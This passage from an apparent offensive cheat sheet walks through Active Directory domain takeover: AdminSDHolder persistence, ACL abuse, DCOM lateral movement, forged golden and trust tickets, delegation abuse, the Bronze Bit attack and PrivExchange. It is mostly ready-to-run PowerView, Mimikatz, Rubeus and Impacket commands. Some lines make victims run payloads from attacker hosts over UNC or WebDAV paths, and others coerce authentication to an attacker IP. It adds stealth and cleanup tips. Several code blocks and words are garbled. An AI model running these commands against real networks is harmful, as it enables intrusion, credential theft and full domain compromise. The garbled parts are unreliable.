If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System or set "dminCount attribute to 0 for the required object.

The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Find users with AdminCount=1.

crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
# or
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
# or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
# or
([adsisearcher]"(AdminCount=1)").findall()

AdminSDHolder Abuse

The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

If you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp (in an hour). E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.

# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose

# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword

# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All

Abusing Active Directory ACLs/ACEs

Check ACL for an User with ADACLScanner.

ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show

GenericAll

GenericAll on User : We can reset user's password without knowing the current password
GenericAll on Group : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :
- On Windows : net group "domain admins" hacker /add /domain
- On Linux:
  - using the Samba software suite : net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]
  - using bloodyAD: bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'
GenericAll/GenericWrite : We can set a SPN on a target account, request a TGS, then grab its hash and kerberoast it. ```powershell # Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

# Check if current user has already an SPN setted: PowerView2 > Get-DomainUser -Identity | select serviceprincipalname

# Force set the SPN on the account: Targeted Kerberoasting PowerView2 > Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'} PowerView3 > Set-DomainObject -Identity -Set @{serviceprincipalname='any/thing'}

# Grab the ticket PowerView2 > $User = Get-DomainUser username PowerView2 > $User | Get-DomainSPNTicket | fl PowerView2 > $User | Select serviceprincipalname

# Remove the SPN PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname ```

GenericAll/GenericWrite : We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
- On Windows: ```powershell
Modify the userAccountControl

PowerView2 > Get-DomainUser username | ConvertFrom-UACValue PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose

Grab the ticket

PowerView2 > Get-DomainUser username | ConvertFrom-UACValue ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username

Set back the userAccountControl

PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose PowerView2 > Get-DomainUser username | ConvertFrom-UACValue * On Linux:bash

Modify the userAccountControl

$ bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword setDontReqPreauthFlag target_user

Grab the ticket

$ GetNPUsers.py DOMAIN/target_user -format -outputfile

Set back the userAccountControl

$ bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword setDontReqPreauthFlag target_user false ```

GenericWrite

Reset another user's password
- On Windows: powershell # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1 $user = 'DOMAIN\user1'; $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential $user, $pass; $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
- On Linux: ```bash # Using rpcclient from the Samba software suite rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
  
  Using bloodyAD with pass-the-hash
  
  bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd ```
WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1

GenericWrite and Remote Connection Manager

Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.

This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/

:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

WriteDACL

To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'

WriteDACL on Domain:
- On Windows: powershell # Give DCSync right to the principal identity Import-Module .\PowerView.ps1 $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword) Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
- On Linux: ```bash
Give DCSync right to the principal identity

bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B addDomainSync user2

Remove right after DCSync

bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B delDomainSync user2 ```
WriteDACL on Group powershell Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1 net group "INTERESTING_GROUP" User1 /add /domain

WriteOwner

An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).

Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.

ReadLAPSPassword

An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the Reading LAPS Password section.

Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'

ReadGMSAPassword

An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.

# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp

ForceChangePassword

An attacker can change the password of the user this ACE applies to: * On Windows, this can be achieved with Set-DomainUserPassword (PowerView module):

$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword

On Linux:

# Using rpcclient from the  Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 

# Using bloodyAD with pass-the-hash
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd

DCOM Exploitation

DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.

Impacket DCOMExec.py ```ps1 dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...] dcomexec.py -share C$ -object MMC20 '/:@' dcomexec.py -share C$ -object MMC20 '/:@' 'ipconfig'

python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe' # -object MMC20 specifies that we wish to instantiate the MMC20.Application object. # -silentcommand executes the command without attempting to retrieve the output. * CheeseTools - https://github.com/klezVirus/CheeseToolspowershell # https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/ -t, --target=VALUE Target Machine -b, --binary=VALUE Binary: powershell.exe -a, --args=VALUE Arguments: -enc -m, --method=VALUE Methods: MMC20Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro -r, --reg, --registry Enable registry manipulation -h, -?, --help Show Help

Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro. * Invoke-DCOM - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1powershell Import-Module .\Invoke-DCOM.ps1 Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc.exe" Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe" Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService" Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "calc.exe" Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe" ```

DCOM via MMC Application Class

This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named "ExecuteShellCommand" under Document.ActiveView.

PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1"))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")

# Weaponized example with MSBuild
PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7")

Invoke-MMC20RCE : https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1

DCOM via Office

Excel.Application
DDEInitiate
RegisterXLL
Outlook.Application
CreateObject->Shell.Application->ShellExecute
CreateObject->ScriptControl (office-32bit only)
Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
Addons
ExecuteLine
Word.Application
RunAutoMacro

# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM
Invoke-Excel4DCOM64.ps1 https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9
Invoke-ExShellcode.ps1 https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a

# Using Excel DDE
PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS C:\> $excel.DisplayAlerts = $false
PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")

# Using Excel RegisterXLL
# Can't be used reliably with a remote target
Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1
PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS> $excel.RegisterXLL("EvilXLL.dll")

# Using Visio
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName"))
$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")

DCOM via ShellExecute

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)

DCOM via ShellBrowserWindow

:warning: Windows 10 only, the object doesn't exists in Windows 7

$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)

Trust relationship between domains

One-way
Domain B trusts A
Users in Domain A can access resources in Domain B
Users in Domain B cannot access resources in Domain A
Two-way
Domain A trusts Domain B
Domain B trusts Domain A
Authentication requests can be passed between the two domains in both directions

Enumerate trusts between domains

nltest /trusted_domains

or

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional

Exploit trusts between domains

:warning: Require a Domain-Admin level access to the current domain.

Source	Target	Technique to use	Trust relationship
Root	Child	Golden Ticket + Enterprise Admin group (Mimikatz /groups)	Inter Realm (2-way)
Child	Child	SID History exploitation (Mimikatz /sids)	Inter Realm Parent-Child (2-way)
Child	Root	SID History exploitation (Mimikatz /sids)	Inter Realm Tree-Root (2-way)
Forest A	Forest B	PrinterBug + Unconstrained delegation ?	Inter Realm Forest or External (2-way)

Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.

Requirements: - KRBTGT Hash - Find the SID of the domain ```powershell $ Convert-NameToSid target.domain.com\krbtgt S-1-5-21-2941561648-383941485-1389968811-502

# with Impacket
lookupsid.py domain/user:password@10.10.10.10
```

Replace 502 with 519 to represent Enterprise Admins
Create golden ticket and attack parent domain. powershell kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt

Forest to Forest Compromise - Trust Ticket

Require: SID filtering disabled

From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain's enterprise admins group to our SID history.

Dumping trust passwords (trust keys)

Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing $ are computer accounts, but some are trust accounts.

lsadump::trust /patch

or find the TRUST_NAME$ machine account hash

Create a forged trust ticket (inter-realm TGT) using Mimikatz

mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi

Use the Trust Ticket file to get a TGS for the targeted service

.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

Inject the TGS file and access the targeted service with the spoofed rights.

kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$

Kerberos Unconstrained Delegation

The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.

:warning: Unconstrained delegation used to be the only option available in Windows 2000

SpoolService Abuse with Unconstrained Delegation

The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.

Requirements: - Object with Property Trust this computer for delegation to any service (Kerberos only) - Must have ADS_UF_TRUSTED_FOR_DELEGATION - Must not have ADS_UF_NOT_DELEGATED flag - User must not be in the Protected Users group - User must not have the flag Account is sensitive and cannot be delegated

Find delegation

:warning: : Domain controllers usually have unconstrained delegation enabled.
Check the TrustedForDelegation property.

ADModule powershell # From https://github.com/samratashok/ADModule PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
ldapdomaindump powershell $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10 grep TRUSTED_FOR_DELEGATION domain_computers.grep
CrackMapExec module powershell cme ldap 10.10.10.10 -u username -p password --trusted-for-delegation

SpoolService status

Check if the spool service is running on the remote host

ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:password@10.10.10.10

Monitor with Rubeus

Monitor incoming connections from Rubeus.

Rubeus.exe monitor /interval:1

Force a connect back from the DC

Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.

SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.

# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>

# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>

If the attack worked you should get a TGT of the domain controller.

Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt

Alternatively you could also grab the ticket using Mimikatz : mimikatz # sekurlsa::tickets

Then you can use DCsync or another attack : mimikatz # lsadump::dcsync /user:HACKER\krbtgt

Mitigation

Ensure sensitive accounts cannot be delegated
Disable the Print Spooler Service

MS-EFSRPC Abuse with Unconstrained Delegation

Using PetitPotam, another tool to coerce a callback from the targeted machine, instead of SpoolSample.

# Coerce the callback
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP

# Extract the ticket
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt

Kerberos Constrained Delegation

Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,

Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).

# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname

# Find the service 
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo

Exploit the Constrained Delegation

Impacket bash $ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
Rubeus bash $ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:... $ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt $ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt $ dir \\dc.domain.com\c$

Impersonate a domain user on a resource

Require: * SYSTEM level privileges on a machine configured with constrained delegation

PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$

Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012.

The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

Import Powermad and Powerview

powershell PowerShell.exe -ExecutionPolicy Bypass Import-Module .\powermad.ps1 Import-Module .\powerview.ps1
Get user SID

powershell $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID} $ACE ConvertFrom-SID $ACE.SecurityIdentifier
Abuse MachineAccountQuota to create a computer account and set an SPN for it

powershell New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
Rewrite DC's AllowedToActOnBehalfOfOtherIdentity properties

powershell $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 $Descriptor.DiscretionaryAcl

```ps1

alternative

$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

alternative

StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND ```
Use Rubeus to get hash from password

powershell Rubeus.exe hash /password:'Weakest123*' /user:swktest$ /domain:factory.lan [*] Input password : Weakest123* [*] Input username : swktest$ [*] Input domain : factory.lan [*] Salt : FACTORY.LANswktest [*] rc4_hmac : F8E064CA98539B735600714A1F1907DD [*] aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498 [*] aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 [*] des_cbc_md5 : BA297CFD07E62A5E
Impersonate domain admin using our newly created machine account

```powershell .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap .\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap

[] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan' [] Using domain controller: DC01-WW2.factory.lan (172.16.42.5) [] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan' [] Sending S4U2proxy request [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':
```
doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
LmZhY3RvcnkubGFu
```
[*] Action: Import Ticket [+] Ticket successfully imported! ```

Kerberos Bronze Bit Attack - CVE-2020-17049

An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as sensitive and cannot be delegated.

Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.

:warning: Patched Error Message : [-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)

Requirements: * Service account's password hash * Service account's with Constrained Delegation or Resource Based Constrained Delegation * Impacket PR #1013

Attack #1 - Bypass the Trust this user for delegation to specified services only – Use Kerberos only protection and impersonate a user who is protected from delegation.

# forwardable flag is only protected by the ticket encryption which uses the service account's password 
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable

$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

# Access "c$"
ls \\service2.test.local\c$

Attack #2 - Write Permissions to one or more objects in the AD

# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit

# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

# Execute the attack
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null

PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.
:warning: You need a shell on a user account with a mailbox.

Exchange server hostname or IP address

bash pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

powershell ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

```bash

https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py

python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange

https://github.com/G0ldenGunSec/PowerPriv

powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016 ```
Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

bash python secretsdump.py xxxxxxxxxx -just-dc python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
Clean your mess and restore a previous state of the user's ACL

powershell python aclpwn.py --restore ../aclpwn-20190319-125741.restore

Alternatively you can use the Metasploit module

use auxiliary/scanner/http/exchange_web_server_pushsubscription

Alternatively you can use an all-in-one tool : Exchange2domain.

git clone github.com/Ridter/Exchange2domain 
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip

